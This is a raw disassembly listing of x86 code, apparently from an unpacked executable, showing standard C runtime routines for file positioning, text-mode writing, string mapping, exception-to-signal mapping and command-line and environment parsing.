sub_422633+Dj ; sub_422633+2Aj and dword_4D9718, 0 mov dword_4D9714, 9 loc_4226C6: ; CODE XREF: sub_422633+42j ; sub_422633+71j or eax, 0FFFFFFFFh loc_4226C9: ; CODE XREF: sub_422633+80j pop edi pop esi pop ebx retn sub_422633 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4226CD proc near ; CODE XREF: ___:0041D9B6p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov edi, [ebp+arg_0] xor ebx, ebx mov esi, [edi+10h] cmp [edi+4], ebx mov [ebp+var_C], esi jge short loc_4226E9 mov [edi+4], ebx loc_4226E9: ; CODE XREF: sub_4226CD+17j push 1 push ebx push esi call sub_422633 add esp, 0Ch cmp eax, ebx mov [ebp+var_4], eax jl short loc_422757 mov edx, [edi+0Ch] test dx, 108h jnz short loc_42270E sub eax, [edi+4] jmp loc_422820 ; --------------------------------------------------------------------------- loc_42270E: ; CODE XREF: sub_4226CD+37j mov eax, [edi] mov ecx, [edi+8] mov ebx, eax sub ebx, ecx test dl, 3 mov [ebp+var_8], ebx jz short loc_422748 mov edx, esi mov ebx, esi sar edx, 5 and ebx, 1Fh mov edx, dword_4DAA60[edx*4] test byte ptr [edx+ebx*8+4], 80h jz short loc_42275F mov edx, ecx loc_422739: ; CODE XREF: sub_4226CD+79j cmp edx, eax jnb short loc_42275F cmp byte ptr [edx], 0Ah jnz short loc_422745 inc [ebp+var_8] loc_422745: ; CODE XREF: sub_4226CD+73j inc edx jmp short loc_422739 ; --------------------------------------------------------------------------- loc_422748: ; CODE XREF: sub_4226CD+50j test dl, 80h jnz short loc_42275F mov dword_4D9714, 16h loc_422757: ; CODE XREF: sub_4226CD+2Dj or eax, 0FFFFFFFFh jmp loc_422820 ; --------------------------------------------------------------------------- loc_42275F: ; CODE XREF: sub_4226CD+68j ; sub_4226CD+6Ej ... cmp [ebp+var_4], 0 jnz short loc_42276D mov eax, [ebp+var_8] jmp loc_422820 ; --------------------------------------------------------------------------- loc_42276D: ; CODE XREF: sub_4226CD+96j test byte ptr [edi+0Ch], 1 jz loc_422818 mov edx, [edi+4] test edx, edx jnz short loc_422786 and [ebp+var_8], edx jmp loc_422818 ; --------------------------------------------------------------------------- loc_422786: ; CODE XREF: sub_4226CD+AFj sub eax, ecx add eax, edx mov [ebp+arg_0], eax mov eax, esi sar eax, 5 and esi, 1Fh lea ebx, ds:4DAA60h[eax*4] shl esi, 3 mov eax, [ebx] test byte ptr [esi+eax+4], 80h jz short loc_422812 push 2 push 0 push [ebp+var_C] call sub_422633 add esp, 0Ch cmp eax, [ebp+var_4] jnz short loc_4227D9 mov eax, [edi+8] mov ecx, [ebp+arg_0] add ecx, eax loc_4227C4: ; CODE XREF: sub_4226CD+104j cmp eax, ecx jnb short loc_4227D3 cmp byte ptr [eax], 0Ah jnz short loc_4227D0 inc [ebp+arg_0] loc_4227D0: ; CODE XREF: sub_4226CD+FEj inc eax jmp short loc_4227C4 ; --------------------------------------------------------------------------- loc_4227D3: ; CODE XREF: sub_4226CD+F9j test byte ptr [edi+0Dh], 20h jmp short loc_42280D ; --------------------------------------------------------------------------- loc_4227D9: ; CODE XREF: sub_4226CD+EDj push 0 push [ebp+var_4] push [ebp+var_C] call sub_422633 mov eax, 200h add esp, 0Ch cmp [ebp+arg_0], eax ja short loc_422800 mov ecx, [edi+0Ch] test cl, 8 jz short loc_422800 test ch, 4 jz short loc_422803 loc_422800: ; CODE XREF: sub_4226CD+124j ; sub_4226CD+12Cj mov eax, [edi+18h] loc_422803: ; CODE XREF: sub_4226CD+131j mov [ebp+arg_0], eax mov eax, [ebx] test byte ptr [esi+eax+4], 4 loc_42280D: ; CODE XREF: sub_4226CD+10Aj jz short loc_422812 inc [ebp+arg_0] loc_422812: ; CODE XREF: sub_4226CD+D9j ; sub_4226CD:loc_42280Dj mov eax, [ebp+arg_0] sub [ebp+var_4], eax loc_422818: ; CODE XREF: sub_4226CD+A4j ; sub_4226CD+B4j mov eax, [ebp+var_8] mov ecx, [ebp+var_4] add eax, ecx loc_422820: ; CODE XREF: sub_4226CD+3Cj ; sub_4226CD+8Dj ... pop edi pop esi pop ebx leave retn sub_4226CD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422825 proc near ; CODE XREF: sub_41DA54+A2p ; sub_41E32B+2Cp ... var_414 = byte ptr -414h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 414h mov ecx, [ebp+arg_0] push ebx cmp ecx, dword_4DAB60 push esi push edi jnb loc_4229B9 mov eax, ecx mov esi, ecx sar eax, 5 and esi, 1Fh lea ebx, ds:4DAA60h[eax*4] shl esi, 3 mov eax, [ebx] mov al, [eax+esi+4] test al, 1 jz loc_4229B9 xor edi, edi cmp [ebp+arg_8], edi mov [ebp+var_8], edi mov [ebp+var_10], edi jnz short loc_422876 loc_42286F: ; CODE XREF: sub_422825+177j xor eax, eax jmp loc_4229CD ; --------------------------------------------------------------------------- loc_422876: ; CODE XREF: sub_422825+48j test al, 20h jz short loc_422886 push 2 push edi push ecx call sub_422633 add esp, 0Ch loc_422886: ; CODE XREF: sub_422825+53j mov eax, [ebx] add eax, esi test byte ptr [eax+4], 80h jz loc_422955 mov eax, [ebp+arg_4] cmp [ebp+arg_8], edi mov [ebp+var_4], eax mov [ebp+arg_0], edi jbe loc_42298D loc_4228A6: ; CODE XREF: sub_422825+F5j lea eax, [ebp+var_414] loc_4228AC: ; CODE XREF: sub_422825+B9j mov ecx, [ebp+var_4] sub ecx, [ebp+arg_4] cmp ecx, [ebp+arg_8] jnb short loc_4228E0 mov ecx, [ebp+var_4] inc [ebp+var_4] mov cl, [ecx] cmp cl, 0Ah jnz short loc_4228CB inc [ebp+var_10] mov byte ptr [eax], 0Dh inc eax loc_4228CB: ; CODE XREF: sub_422825+9Dj mov [eax], cl inc eax mov ecx, eax lea edx, [ebp+var_414] sub ecx, edx cmp ecx, 400h jl short loc_4228AC loc_4228E0: ; CODE XREF: sub_422825+90j mov edi, eax lea eax, [ebp+var_414] sub edi, eax lea eax, [ebp+var_C] push 0 push eax lea eax, [ebp+var_414] push edi push eax mov eax, [ebx] push dword ptr [eax+esi] nop call near ptr 2720000h test eax, eax jz short loc_42294A mov eax, [ebp+var_C] add [ebp+var_8], eax cmp eax, edi jl short loc_42291C mov eax, [ebp+var_4] sub eax, [ebp+arg_4] cmp eax, [ebp+arg_8] jb short loc_4228A6 loc_42291C: ; CODE XREF: sub_422825+EAj ; sub_422825+12Ej xor edi, edi loc_42291E: ; CODE XREF: sub_422825+150j ; sub_422825+15Bj mov eax, [ebp+var_8] cmp eax, edi jnz loc_4229B4 cmp [ebp+arg_0], edi jz short loc_42298D push 5 pop eax cmp [ebp+arg_0], eax jnz short loc_422982 mov dword_4D9714, 9 mov dword_4D9718, eax jmp loc_4229CA ; --------------------------------------------------------------------------- loc_42294A: ; CODE XREF: sub_422825+E0j nop call near ptr 26A0EA9h mov [ebp+arg_0], eax jmp short loc_42291C ; --------------------------------------------------------------------------- loc_422955: ; CODE XREF: sub_422825+69j lea ecx, [ebp+var_C] push edi push ecx push [ebp+arg_8] push [ebp+arg_4] push dword ptr [eax] call near ptr 2720000h nop test eax, eax jz short loc_422977 mov eax, [ebp+var_C] mov [ebp+arg_0], edi mov [ebp+var_8], eax jmp short loc_42291E ; --------------------------------------------------------------------------- loc_422977: ; CODE XREF: sub_422825+145j nop call near ptr 26A0EA9h mov [ebp+arg_0], eax jmp short loc_42291E ; --------------------------------------------------------------------------- loc_422982: ; CODE XREF: sub_422825+10Fj push [ebp+arg_0] call sub_420314 pop ecx jmp short loc_4229CA ; --------------------------------------------------------------------------- loc_42298D: ; CODE XREF: sub_422825+7Bj ; sub_422825+107j mov eax, [ebx] test byte ptr [eax+esi+4], 40h jz short loc_4229A2 mov eax, [ebp+arg_4] cmp byte ptr [eax], 1Ah jz loc_42286F loc_4229A2: ; CODE XREF: sub_422825+16Fj mov dword_4D9714, 1Ch mov dword_4D9718, edi jmp short loc_4229CA ; --------------------------------------------------------------------------- loc_4229B4: ; CODE XREF: sub_422825+FEj sub eax, [ebp+var_10] jmp short loc_4229CD ; --------------------------------------------------------------------------- loc_4229B9: ; CODE XREF: sub_422825+15j ; sub_422825+37j and dword_4D9718, 0 mov dword_4D9714, 9 loc_4229CA: ; CODE XREF: sub_422825+120j ; sub_422825+166j ... or eax, 0FFFFFFFFh loc_4229CD: ; CODE XREF: sub_422825+4Cj ; sub_422825+192j pop edi pop esi pop ebx leave retn sub_422825 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4229D2 proc near ; CODE XREF: sub_41DD4A+47p ; sub_41DD4A+74p ... var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_427910 push offset sub_4233C0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push ebx push esi push edi mov [ebp+var_18], esp xor edi, edi cmp dword_4D97E8, edi jnz short loc_422A48 push edi push edi push 1 pop ebx push ebx push offset dword_427908 mov esi, 100h push esi push edi nop call near ptr 2640000h test eax, eax jz short loc_422A26 mov dword_4D97E8, ebx jmp short loc_422A48 ; --------------------------------------------------------------------------- loc_422A26: ; CODE XREF: sub_4229D2+4Aj push edi push edi push ebx push offset word_4C91BC push esi push edi nop call near ptr 2650000h test eax, eax jz loc_422B60 mov dword_4D97E8, 2 loc_422A48: ; CODE XREF: sub_4229D2+2Ej ; sub_4229D2+52j cmp [ebp+arg_C], edi jle short loc_422A5D push [ebp+arg_C] push [ebp+arg_8] call sub_42605C pop ecx pop ecx mov [ebp+arg_C], eax loc_422A5D: ; CODE XREF: sub_4229D2+79j mov eax, dword_4D97E8 cmp eax, 2 jnz short loc_422A84 push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call near ptr 2650000h nop jmp loc_422B62 ; --------------------------------------------------------------------------- loc_422A84: ; CODE XREF: sub_4229D2+93j cmp eax, 1 jnz loc_422B60 cmp [ebp+arg_18], edi jnz short loc_422A9A mov eax, dword_4D97E0 mov [ebp+arg_18], eax loc_422A9A: ; CODE XREF: sub_4229D2+BEj push edi push edi push [ebp+arg_C] push [ebp+arg_8] mov eax, [ebp+arg_1C] neg eax sbb eax, eax and eax, 8 inc eax push eax push [ebp+arg_18] nop call near ptr 2710000h mov ebx, eax mov [ebp+var_1C], ebx cmp ebx, edi jz loc_422B60 mov [ebp+var_4], edi lea eax, [ebx+ebx] add eax, 3 and al, 0FCh call sub_41C2A0 mov [ebp+var_18], esp mov eax, esp mov [ebp+var_24], eax or [ebp+var_4], 0FFFFFFFFh jmp short loc_422AF5 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor edi, edi mov [ebp+var_24], edi or [ebp+var_4], 0FFFFFFFFh mov ebx, [ebp+var_1C] loc_422AF5: ; CODE XREF: sub_4229D2+10Ej cmp [ebp+var_24], edi jz short loc_422B60 push ebx push [ebp+var_24] push [ebp+arg_C] push [ebp+arg_8] push 1 push [ebp+arg_18] nop call near ptr 2710000h test eax, eax jz short loc_422B60 push edi push edi push ebx push [ebp+var_24] push [ebp+arg_4] push [ebp+arg_0] call near ptr 2640000h nop mov esi, eax mov [ebp+var_28], esi cmp esi, edi jz short loc_422B60 test byte ptr [ebp+arg_4+1], 4 jz short loc_422B74 cmp [ebp+arg_14], edi jz loc_422BEF cmp esi, [ebp+arg_14] jg short loc_422B60 push [ebp+arg_14] push [ebp+arg_10] push ebx push [ebp+var_24] push [ebp+arg_4] push [ebp+arg_0] call near ptr 2640000h nop test eax, eax jnz loc_422BEF loc_422B60: ; CODE XREF: sub_4229D2+66j ; sub_4229D2+B5j ... xor eax, eax loc_422B62: ; CODE XREF: sub_4229D2+ADj ; sub_4229D2+21Fj lea esp, [ebp-38h] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_422B74: ; CODE XREF: sub_4229D2+160j mov [ebp+var_4], 1 lea eax, [esi+esi] add eax, 3 and al, 0FCh call sub_41C2A0 mov [ebp+var_18], esp mov ebx, esp mov [ebp+var_20], ebx or [ebp+var_4], 0FFFFFFFFh jmp short loc_422BA8 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor edi, edi xor ebx, ebx or [ebp+var_4], 0FFFFFFFFh mov esi, [ebp+var_28] loc_422BA8: ; CODE XREF: sub_4229D2+1C2j cmp ebx, edi jz short loc_422B60 push esi push ebx push [ebp+var_1C] push [ebp+var_24] push [ebp+arg_4] push [ebp+arg_0] nop call near ptr 2640000h test eax, eax jz short loc_422B60 cmp [ebp+arg_14], edi push edi push edi jnz short loc_422BCF push edi push edi jmp short loc_422BD5 ; --------------------------------------------------------------------------- loc_422BCF: ; CODE XREF: sub_4229D2+1F7j push [ebp+arg_14] push [ebp+arg_10] loc_422BD5: ; CODE XREF: sub_4229D2+1FBj push esi push ebx push 220h push [ebp+arg_18] call near ptr 28410D6h nop mov esi, eax cmp esi, edi jz loc_422B60 loc_422BEF: ; CODE XREF: sub_4229D2+165j ; sub_4229D2+188j mov eax, esi jmp loc_422B62 sub_4229D2 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ebx push dword ptr [ebp+8] call sub_422D37 test eax, eax pop ecx jz loc_422D2B mov ebx, [eax+8] test ebx, ebx jz loc_422D2B cmp ebx, 5 jnz short loc_422C27 and dword ptr [eax+8], 0 push 1 pop eax jmp loc_422D34 ; --------------------------------------------------------------------------- loc_422C27: ; CODE XREF: ___:00422C19j cmp ebx, 1 jz loc_422D26 mov ecx, dword_4D97EC mov [ebp+8], ecx mov ecx, [ebp+0Ch] mov dword_4D97EC, ecx mov ecx, [eax+4] cmp ecx, 8 jnz loc_422D16 mov ecx, dword_43ACD0 mov edx, dword_43ACD4 add edx, ecx push esi cmp ecx, edx jge short loc_422C76 lea esi, [ecx+ecx*2] sub edx, ecx lea esi, ds:43AC60h[esi*4] loc_422C6D: ; CODE XREF: ___:00422C74j and dword ptr [esi], 0 add esi, 0Ch dec edx jnz short loc_422C6D loc_422C76: ; CODE XREF: ___:00422C5Fj mov eax, [eax] mov esi, dword_43ACDC cmp eax, 0C000008Eh jnz short loc_422C91 mov dword_43ACDC, 83h jmp short loc_422D01 ; --------------------------------------------------------------------------- loc_422C91: ; CODE XREF: ___:00422C83j cmp eax, 0C0000090h jnz short loc_422CA4 mov dword_43ACDC, 81h jmp short loc_422D01 ; --------------------------------------------------------------------------- loc_422CA4: ; CODE XREF: ___:00422C96j cmp eax, 0C0000091h jnz short loc_422CB7 mov dword_43ACDC, 84h jmp short loc_422D01 ; --------------------------------------------------------------------------- loc_422CB7: ; CODE XREF: ___:00422CA9j cmp eax, 0C0000093h jnz short loc_422CCA mov dword_43ACDC, 85h jmp short loc_422D01 ; --------------------------------------------------------------------------- loc_422CCA: ; CODE XREF: ___:00422CBCj cmp eax, 0C000008Dh jnz short loc_422CDD mov dword_43ACDC, 82h jmp short loc_422D01 ; --------------------------------------------------------------------------- loc_422CDD: ; CODE XREF: ___:00422CCFj cmp eax, 0C000008Fh jnz short loc_422CF0 mov dword_43ACDC, 86h jmp short loc_422D01 ; --------------------------------------------------------------------------- loc_422CF0: ; CODE XREF: ___:00422CE2j cmp eax, 0C0000092h jnz short loc_422D01 mov dword_43ACDC, 8Ah loc_422D01: ; CODE XREF: ___:00422C8Fj ; ___:00422CA2j ... push dword_43ACDC push 8 call ebx pop ecx mov dword_43ACDC, esi pop ecx pop esi jmp short loc_422D1E ; --------------------------------------------------------------------------- loc_422D16: ; CODE XREF: ___:00422C48j and dword ptr [eax+8], 0 push ecx call ebx pop ecx loc_422D1E: ; CODE XREF: ___:00422D14j mov eax, [ebp+8] mov dword_4D97EC, eax loc_422D26: ; CODE XREF: ___:00422C2Aj or eax, 0FFFFFFFFh jmp short loc_422D34 ; --------------------------------------------------------------------------- loc_422D2B: ; CODE XREF: ___:00422C05j ; ___:00422C10j push dword ptr [ebp+0Ch] nop call near ptr 263011Bh loc_422D34: ; CODE XREF: ___:00422C22j ; ___:00422D29j pop ebx pop ebp retn ; =============== S U B R O U T I N E ======================================= sub_422D37 proc near ; CODE XREF: ___:00422BFDp arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov ecx, dword_43ACD8 cmp dword_43AC58, edx push esi mov eax, offset dword_43AC58 jz short loc_422D64 lea esi, [ecx+ecx*2] lea esi, ds:43AC58h[esi*4] loc_422D59: ; CODE XREF: sub_422D37+2Bj add eax, 0Ch cmp eax, esi jnb short loc_422D64 cmp [eax], edx jnz short loc_422D59 loc_422D64: ; CODE XREF: sub_422D37+16j ; sub_422D37+27j lea ecx, [ecx+ecx*2] pop esi lea ecx, ds:43AC58h[ecx*4] cmp eax, ecx jnb short loc_422D77 cmp [eax], edx jz short locret_422D79 loc_422D77: ; CODE XREF: sub_422D37+3Aj xor eax, eax locret_422D79: ; CODE XREF: sub_422D37+3Ej retn sub_422D37 endp ; --------------------------------------------------------------------------- cmp dword_4DADAC, 0 jnz short loc_422D88 call sub_4201A2 loc_422D88: ; CODE XREF: ___:00422D81j push esi mov esi, dword_4DADA4 mov al, [esi] cmp al, 22h jnz short loc_422DBA loc_422D95: ; CODE XREF: ___:00422DADj ; ___:00422DB0j mov al, [esi+1] inc esi cmp al, 22h jz short loc_422DB2 test al, al jz short loc_422DB2 movzx eax, al push eax call sub_424C46 test eax, eax pop ecx jz short loc_422D95 inc esi jmp short loc_422D95 ; --------------------------------------------------------------------------- loc_422DB2: ; CODE XREF: ___:00422D9Bj ; ___:00422D9Fj cmp byte ptr [esi], 22h jnz short loc_422DC4 loc_422DB7: ; CODE XREF: ___:00422DCCj inc esi jmp short loc_422DC4 ; --------------------------------------------------------------------------- loc_422DBA: ; CODE XREF: ___:00422D93j cmp al, 20h jbe short loc_422DC4 loc_422DBE: ; CODE XREF: ___:00422DC2j inc esi cmp byte ptr [esi], 20h ja short loc_422DBE loc_422DC4: ; CODE XREF: ___:00422DB5j ; ___:00422DB8j ... mov al, [esi] test al, al jz short loc_422DCE cmp al, 20h jbe short loc_422DB7 loc_422DCE: ; CODE XREF: ___:00422DC8j mov eax, esi pop esi retn ; --------------------------------------------------------------------------- push ebx xor ebx, ebx cmp dword_4DADAC, ebx push esi push edi jnz short loc_422DE4 call sub_4201A2 loc_422DE4: ; CODE XREF: ___:00422DDDj mov esi, dword_4D9788 xor edi, edi loc_422DEC: ; CODE XREF: ___:00422E02j mov al, [esi] cmp al, bl jz short loc_422E04 cmp al, 3Dh jz short loc_422DF7 inc edi loc_422DF7: ; CODE XREF: ___:00422DF4j push esi call sub_41B960 pop ecx lea esi, [esi+eax+1] jmp short loc_422DEC ; --------------------------------------------------------------------------- loc_422E04: ; CODE XREF: ___:00422DF0j lea eax, ds:4[edi*4] push eax call sub_41BC9B mov esi, eax pop ecx cmp esi, ebx mov dword_4D973C, esi jnz short loc_422E26 push 9 call sub_41E1C9 pop ecx loc_422E26: ; CODE XREF: ___:00422E1Cj mov edi, dword_4D9788 cmp [edi], bl jz short loc_422E69 push ebp loc_422E31: ; CODE XREF: ___:00422E66j push edi call sub_41B960 mov ebp, eax pop ecx inc ebp cmp byte ptr [edi], 3Dh jz short loc_422E62 push ebp call sub_41BC9B cmp eax, ebx pop ecx mov [esi], eax jnz short loc_422E55 push 9 call sub_41E1C9 pop ecx loc_422E55: ; CODE XREF: ___:00422E4Bj push edi push dword ptr [esi] call sub_41C620 pop ecx add esi, 4 pop ecx loc_422E62: ; CODE XREF: ___:00422E3Ej add edi, ebp cmp [edi], bl jnz short loc_422E31 pop ebp loc_422E69: ; CODE XREF: ___:00422E2Ej push dword_4D9788 call sub_41BA31 pop ecx mov dword_4D9788, ebx mov [esi], ebx pop edi pop esi mov dword_4DADA8, 1 pop ebx retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push ecx push ebx xor ebx, ebx cmp dword_4DADAC, ebx push esi push edi jnz short loc_422EA2 call sub_4201A2 loc_422EA2: ; CODE XREF: ___:00422E9Bj mov esi, offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe" push 104h push esi push ebx call near ptr 2690000h nop mov eax, dword_4DADA4 mov off_4D974C, esi mov edi, esi cmp [eax], bl jz short loc_422EC7 mov edi, eax loc_422EC7: ; CODE XREF: ___:00422EC3j lea eax, [ebp-8] push eax lea eax, [ebp-4] push eax push ebx push ebx push edi call sub_422F24 mov eax, [ebp-8] mov ecx, [ebp-4] lea eax, [eax+ecx*4] push eax call sub_41BC9B mov esi, eax add esp, 18h cmp esi, ebx jnz short loc_422EF7 push 8 call sub_41E1C9 pop ecx loc_422EF7: ; CODE XREF: ___:00422EEDj lea eax, [ebp-8] push eax lea eax, [ebp-4] push eax mov eax, [ebp-4] lea eax, [esi+eax*4] push eax push esi push edi call sub_422F24 mov eax, [ebp-4] add esp, 14h dec eax mov dword_4D9734, esi pop edi pop esi mov dword_4D9730, eax pop ebx leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422F24 proc near ; CODE XREF: ___:00422ED2p ; ___:00422F08p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp mov ecx, [ebp+arg_10] mov eax, [ebp+arg_C] push ebx push esi and dword ptr [ecx], 0 mov esi, [ebp+arg_8] push edi mov edi, [ebp+arg_4] mov dword ptr [eax], 1 mov eax, [ebp+arg_0] test edi, edi jz short loc_422F4E mov [edi], esi add edi, 4 mov [ebp+arg_4], edi loc_422F4E: ; CODE XREF: sub_422F24+20j cmp byte ptr [eax], 22h jnz short loc_422F97 loc_422F53: ; CODE XREF: sub_422F24+58j ; sub_422F24+5Fj mov dl, [eax+1] inc eax cmp dl, 22h jz short loc_422F85 test dl, dl jz short loc_422F85 movzx edx, dl test byte_4DAC81[edx], 4 jz short loc_422F78 inc dword ptr [ecx] test esi, esi jz short loc_422F78 mov dl, [eax] mov [esi], dl inc esi inc eax loc_422F78: ; CODE XREF: sub_422F24+46j ; sub_422F24+4Cj inc dword ptr [ecx] test esi, esi jz short loc_422F53 mov dl, [eax] mov [esi], dl inc esi jmp short loc_422F53 ; --------------------------------------------------------------------------- loc_422F85: ; CODE XREF: sub_422F24+36j ; sub_422F24+3Aj inc dword ptr [ecx] test esi, esi jz short loc_422F8F and byte ptr [esi], 0 inc esi loc_422F8F: ; CODE XREF: sub_422F24+65j cmp byte ptr [eax], 22h jnz short loc_422FDA inc eax jmp short loc_422FDA ; --------------------------------------------------------------------------- loc_422F97: ; CODE XREF: sub_422F24+2Dj ; sub_422F24+A5j inc dword ptr [ecx] test esi, esi jz short loc_422FA2 mov dl, [eax] mov [esi], dl inc esi loc_422FA2: ; CODE XREF: sub_422F24+77j mov dl, [eax] inc eax movzx ebx, dl test byte_4DAC81[ebx], 4 jz short loc_422FBD inc dword ptr [ecx] test esi, esi jz short loc_422FBC mov bl, [eax] mov [esi], bl inc esi loc_422FBC: ; CODE XREF: sub_422F24+91j inc eax loc_422FBD: ; CODE XREF: sub_422F24+8Bj cmp dl, 20h jz short loc_422FCB test dl, dl jz short loc_422FCF cmp dl, 9 jnz short loc_422F97 loc_422FCB: ; CODE XREF: sub_422F24+9Cj test dl, dl jnz short loc_422FD2 loc_422FCF: ; CODE XREF: sub_422F24+A0j dec eax jmp short loc_422FDA ; --------------------------------------------------------------------------- loc_422FD2: ; CODE XREF: sub_422F24+A9j test esi, esi jz short loc_422FDA and byte ptr [esi-1], 0 loc_422FDA: ; CODE XREF: sub_422F24+6Ej ; sub_422F24+71j ... and [ebp+arg_10], 0 loc_422FDE: ; CODE XREF: sub_422F24+19Ej cmp byte ptr [eax], 0 jz loc_4230C7 loc_422FE7: ; CODE XREF: sub_422F24+D0j mov dl, [eax] cmp dl, 20h jz short loc_422FF3 cmp dl, 9 jnz short loc_422FF6 loc_422FF3: ; CODE XREF: sub_422F24+C8j inc eax jmp short loc_422FE7 ; --------------------------------------------------------------------------- loc_422FF6: ; CODE XREF: sub_422F24+CDj cmp byte ptr [eax], 0 jz loc_4230C7 test edi, edi jz short loc_42300B mov [edi], esi add edi, 4 mov [ebp+arg_4], edi loc_42300B: ; CODE XREF: sub_422F24+DDj mov edx, [ebp+arg_C] inc dword ptr [edx] loc_423010: ; CODE XREF: sub_422F24+18Fj mov [ebp+arg_0], 1 xor ebx, ebx loc_423019: ; CODE XREF: sub_422F24+FCj cmp byte ptr [eax], 5Ch jnz short loc_423022 inc eax inc ebx jmp short loc_423019 ; --------------------------------------------------------------------------- loc_423022: ; CODE XREF: sub_422F24+F8j cmp byte ptr [eax], 22h jnz short loc_423053 test bl, 1 jnz short loc_423051 xor edi, edi cmp [ebp+arg_10], edi jz short loc_423040 cmp byte ptr [eax+1], 22h lea edx, [eax+1] jnz short loc_423040 mov eax, edx jmp short loc_423043 ; --------------------------------------------------------------------------- loc_423040: ; CODE XREF: sub_422F24+10Dj ; sub_422F24+116j mov [ebp+arg_0], edi loc_423043: ; CODE XREF: sub_422F24+11Aj mov edi, [ebp+arg_4] xor edx, edx cmp [ebp+arg_10], edx setz dl mov [ebp+arg_10], edx loc_423051: ; CODE XREF: sub_422F24+106j shr ebx, 1 loc_423053: ; CODE XREF: sub_422F24+101j mov edx, ebx dec ebx test edx, edx jz short loc_423068 inc ebx loc_42305B: ; CODE XREF: sub_422F24+142j test esi, esi jz short loc_423063 mov byte ptr [esi], 5Ch inc esi loc_423063: ; CODE XREF: sub_422F24+139j inc dword ptr [ecx] dec ebx jnz short loc_42305B loc_423068: ; CODE XREF: sub_422F24+134j mov dl, [eax] test dl, dl jz short loc_4230B8 cmp [ebp+arg_10], 0 jnz short loc_42307E cmp dl, 20h jz short loc_4230B8 cmp dl, 9 jz short loc_4230B8 loc_42307E: ; CODE XREF: sub_422F24+14Ej cmp [ebp+arg_0], 0 jz short loc_4230B2 test esi, esi jz short loc_4230A1 movzx ebx, dl test byte_4DAC81[ebx], 4 jz short loc_42309A mov [esi], dl inc esi inc eax inc dword ptr [ecx] loc_42309A: ; CODE XREF: sub_422F24+16Ej mov dl, [eax] mov [esi], dl inc esi jmp short loc_4230B0 ; --------------------------------------------------------------------------- loc_4230A1: ; CODE XREF: sub_422F24+162j movzx edx, dl test byte_4DAC81[edx], 4 jz short loc_4230B0 inc eax inc dword ptr [ecx] loc_4230B0: ; CODE XREF: sub_422F24+17Bj ; sub_422F24+187j inc dword ptr [ecx] loc_4230B2: ; CODE XREF: sub_422F24+15Ej inc eax jmp loc_423010 ; --------------------------------------------------------------------------- loc_4230B8: ; CODE XREF: sub_422F24+148j ; sub_422F24+153j ... test esi, esi jz short loc_4230C0 and byte ptr [esi], 0 inc esi loc_4230C0: ; CODE XREF: sub_422F24+196j inc dword ptr [ecx] jmp loc_422FDE ; --------------------------------------------------------------------------- loc_4230C7: ; CODE XREF: sub_422F24+BDj ; sub_422F24+D5j test edi, edi jz short loc_4230CE and dword ptr [edi], 0 loc_4230CE: ; CODE XREF: sub_422F24+1A5j mov eax, [ebp+arg_C] pop edi pop esi pop ebx inc dword ptr [eax] pop ebp retn sub_422F24 endp ; --------------------------------------------------------------------------- push ecx push ecx mov eax, dword_4D98F4 push ebx push ebp mov ebp, dword_42703C push esi push edi xor ebx, ebx xor esi, esi xor edi, edi cmp eax, ebx jnz short loc_423126 call ebp mov esi, eax cmp esi, ebx jz short loc_423107 mov dword_4D98F4, 1 jmp short loc_42312F ; --------------------------------------------------------------------------- loc_423107: ; CODE XREF: ___:004230F9j nop call near ptr 2620D20h mov edi, eax cmp edi, ebx jz loc_423201 mov dword_4D98F4, 2 jmp loc_4231B5 ; --------------------------------------------------------------------------- loc_423126: ; CODE XREF: ___:004230F1j cmp eax, 1 jnz loc_4231B0 loc_42312F: ; CODE XREF: ___:00423105j cmp esi, ebx jnz short loc_42313F call ebp mov esi, eax cmp esi, ebx jz loc_423201 loc_42313F: ; CODE XREF: ___:00423131j cmp [esi], bx mov eax, esi jz short loc_423154 loc_423146: ; CODE XREF: ___:0042314Bj ; ___:00423152j inc eax inc eax cmp [eax], bx jnz short loc_423146 inc eax inc eax cmp [eax], bx jnz short loc_423146 loc_423154: ; CODE XREF: ___:00423144j sub eax, esi mov edi, dword_427194 sar eax, 1 push ebx push ebx inc eax push ebx push ebx push eax push esi push ebx push ebx mov [esp+34h], eax call edi mov ebp, eax cmp ebp, ebx jz short loc_4231A5 push ebp call sub_41BC9B cmp eax, ebx pop ecx mov [esp+10h], eax jz short loc_4231A5 push ebx push ebx push ebp push eax push dword ptr [esp+24h] push esi push ebx push ebx call edi test eax, eax jnz short loc_4231A1 push dword ptr [esp+10h] call sub_41BA31 pop ecx mov [esp+10h], ebx loc_4231A1: ; CODE XREF: ___:00423191j mov ebx, [esp+10h] loc_4231A5: ; CODE XREF: ___:00423171j 